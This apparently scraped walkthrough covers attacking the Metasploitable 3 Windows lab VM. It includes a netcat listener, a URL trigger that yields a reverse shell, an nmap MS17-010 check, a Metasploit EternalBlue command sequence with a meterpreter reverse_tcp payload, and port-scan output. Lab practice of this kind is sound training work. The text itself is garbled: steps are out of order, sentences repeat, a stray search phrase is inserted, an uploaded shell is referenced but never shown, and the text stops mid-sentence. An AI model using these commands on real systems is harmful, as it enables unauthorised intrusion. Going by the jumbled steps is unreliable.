Metasploitable 3 Windows Walkthrough May 2026

Metasploitable 3 Windows Walkthrough May 2026

Before we type a single exploit, we need the environment stable.

If EternalBlue fails, Tomcat is your friend.

  • Set up listener:

    nc -lvnp 4444

  • Trigger – visit http://192.168.56.103:80/shell/ – you now have a reverse shell as NT AUTHORITY\NETWORK SERVICE.

    • Check vulnerability:

    nmap --script smb-vuln-ms17-010 -p445 192.168.56.105

    Exploit using Metasploit:

    msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.56.105
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.10   # Kali IP
run

    ping -c 2 192.168.56.103
nmap -sS -sV -O -p- -T4 192.168.56.103

    Key findings (typical for Metasploitable 3): metasploitable 3 windows walkthrough

    PORT      STATE SERVICE        VERSION
80/tcp    open  http           Apache Tomcat 6.0.20
135/tcp   open  msrpc          Windows RPC
139/tcp   open  netbios-ssn    Samba smbd 3.X
445/tcp   open  microsoft-ds   Windows 2008 R2
5985/tcp  open  http           Microsoft HTTPAPI httpd 2.0 (WinRM)
3306/tcp  open  mysql          MySQL 5.1.66
3389/tcp  open  tcpwrapped     RDP
47001/tcp open  http           Microsoft HTTPAPI
8182/tcp  open  unknown

    Because Metasploitable 3 has weak credentials, we can bypass complex exploitation entirely.

    We have multiple paths to gain an initial foothold. Let's explore the most common ones. Before we type a single exploit, we need